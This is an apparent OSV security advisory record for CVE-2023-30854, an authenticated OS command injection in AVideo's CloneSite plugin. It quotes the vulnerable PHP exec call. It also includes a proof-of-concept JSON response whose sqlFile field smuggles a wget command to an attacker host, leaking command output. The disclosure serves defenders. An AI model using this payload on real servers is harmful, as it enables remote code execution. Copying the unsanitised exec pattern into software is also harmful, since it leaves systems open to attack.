{"id":"GHSA-6vrj-ph27-qfp3","aliases":["CVE-2023-30854"],"title":"Remote code injection in wwbn/avideo","description":"# WWBN Avideo Authenticated RCE - OS Command Injection\n\n## Description\n\nAn OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution.\n\nVulnerable code:\n\n```php\n$cmd = \"wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}\";\n$log->add(\"Clone (2 of {$totalSteps}): Geting MySQL Dump file\");\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nWe can control `$objClone->cloneSiteURL`  through the admin panel clone site feature.\n\n`/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a  specially crafted `cloneServer.json.php` that prints the following JSON data\n\n```JSON\n{\"error\":false,\"msg\":\"\",\"url\":\"https:\\/\\/REDACTED/\\/\",\"key\":\"REDACTED\",\"useRsync\":1,\"videosDir\":\"\\/var\\/www\\/html\\/[demo.avideo.com](http://demo.avideo.com/)\\/videos\\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#\",\"videoFiles\":[],\"photoFiles\":[]}\n```\n\nSend a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved.\n\n![rce](https://i.ibb.co/h14gQtn/rce.png)","severity":"high","score":8.8,"published":"2023-04-27T23:53:45.000Z","modified":"2026-09-10T03:49:53.532Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"wwbn/avideo","ranges":[{"events":[{"introduced":"0"},{"fixed":"12.4"}],"type":"ECOSYSTEM"}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6"],"fixed":["12.4"]}],"references":["https://github.com/WWBN/AVideo/security/advisories/GHSA-6vrj-ph27-qfp3","https://nvd.nist.gov/vuln/detail/CVE-2023-30854","https://github.com/WWBN/AVideo/commit/020415d22f36d93ed865eb61994b49caa0f7f90a","https://github.com/WWBN/AVideo"],"sources":[{"name":"OSV","id":"GHSA-6vrj-ph27-qfp3","modified":"2026-09-10T03:49:53.532874039Z","url":"https://osv.dev/vulnerability/GHSA-6vrj-ph27-qfp3"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8}]}